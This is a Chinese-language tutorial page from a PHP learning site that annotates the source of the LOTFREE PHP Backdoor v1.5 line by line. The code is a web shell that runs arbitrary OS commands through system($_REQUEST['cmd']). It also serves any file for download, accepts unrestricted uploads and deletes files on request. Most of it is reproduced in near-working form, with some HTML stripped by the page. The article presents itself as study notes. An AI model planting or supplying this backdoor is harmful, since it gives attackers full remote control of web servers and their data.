首页 >后端开发 >php教程 > 正文

解释PHP后门文件

原创2016-07-25 09:13:330939

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

以下是一个后门程序的注释


  1. function good_link($link)
  2. {
  3. $link=ereg_replace(“/+”,”/”,$link);
  4. $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
  5. $link=ereg_replace(“/+”,”/”,$link);
  6. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
  7. if($link==”")$link=”.”;
  8. return $link;
  9. }
  10. //$_REQUEST用来取得提交到本文件的数据
  11. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
  12. $dir=good_link($dir);
  13. $rep=opendir($dir); //打开dir指定的路径句柄
  14. chdir($dir); //切换到dir指定的目录
  15. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
  16. {
  17. header(“Content-Type: application/octet-stream”);
  18. header(“Content-Length: “.filesize($_REQUEST["down"]));
  19. header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
  20. readfile($_REQUEST["down"]); //将文件读取到缓冲区
  21. exit();
  22. }
  23. ?>

  24. LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com




  25. echo “当前绝对路径为: ”.getcwd().”
    \n”; //获取当前的绝对路径
  26. echo “dir = ‘$dir’
    \n”;
  27. echo “当前目录,文件列表!

    \n”;
  28. //如果已经输入要执行的命令
  29. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
  30. {
  31. echo “
    \n”;
  32. system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
  33. echo “
  34. \n”;
  35. }
  36. //如果已经上传了文件
  37. if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
  38. {
  39. if($_FILES["fic"]["size"]<$_POST["MAX_FILE_SIZE"]) //判断文件是否符合大小规范
  40. {
  41. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
  42. {
  43. echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
    \n”;
  44. }
  45. else echo “文件上传失败: “.$_FILES["fic"]["error"].”
    \n”;
  46. }
  47. else echo “File too large(文件超出大小限制)!
    \n”;
  48. }
  49. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
  50. {
  51. if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
  52. echo “成功删除 “.$_REQUEST['rm'].”!
    \n”;
  53. else echo “删除文件失败
    \n”;
  54. }
  55. ?>



  56. $t_dir=array();
  57. $t_file=array();
  58. $i_dir=0;
  59. $i_file=0;
  60. //循环输读取前的目录文件,放在t_dir和t_file中
  61. while($x=readdir($rep))
  62. {
  63. if(is_dir($x)) //如果当前处理的是目录
  64. $t_dir[$i_dir++]=$x;
  65. else //如果当前处理的是文件
  66. $t_file[$i_file++]=$x;
  67. }
  68. closedir($rep); //关闭由opendir打开的目录句柄
  69. while(1) //循环输入当前路径的目录和文件
  70. {
  71. ?>






  72. if(!$x && !$y)
  73. break;
  74. }
  75. ?>

  76. if($x=each($t_dir))
  77. {
  78. $name=$x["value"]; //获取t_dir数组里的目录名称
  79. if($name==’.'){}
  80. elseif($name==’..’) echo “ UP(父目录)

    \n”; //展示一个UP链接,读取父目录的文件列表
  81. else
  82. echo “ ”.$name.”\n”;
  83. }
  84. ?>
  85. //$_SERVER['PHP_SELF']取得当前php脚本文件名
  86. if($y=each($t_file))
  87. {
  88. if($y["key"]%2==0) //如果当前处理的是key
  89. echo ” bgcolor=’lightgreen’>\n”;
  90. else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
  91. echo “>\n”;
  92. echo “ ”.$y["value"].”\n”;
  93. }
  94. else echo“>\n”;
  95. ?>
  96. if($y)
  97. {
  98. //如果是文件,就提供以下删除该文件的链接
  99. if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
  100. echo “>Del”;
  101. }
  102. else echo “>\n”;
  103. ?>





  104. ?dir=”>revenirau repertoire d’origine



  105. ”>
  106. Execute commande(执行操作系统命令)


  107. 上传文件到服务器当前目录:

  108. ”>




复制代码



php中文网最新课程二维码

声明:本文原创发布php中文网,转载请注明出处,感谢您的尊重!如有疑问,请联系admin@php.cn处理

  • 相关标签:解释PHP后门文件
  • 相关文章

    相关视频


    网友评论

    文明上网理性发言,请遵守 新闻评论服务协议

    我要评论
  • 专题推荐

    作者信息

    php中文网

    认证0级讲师

    推荐视频教程
  • javascript初级视频教程javascript初级视频教程
  • jquery 基础视频教程jquery 基础视频教程
  • 视频教程分类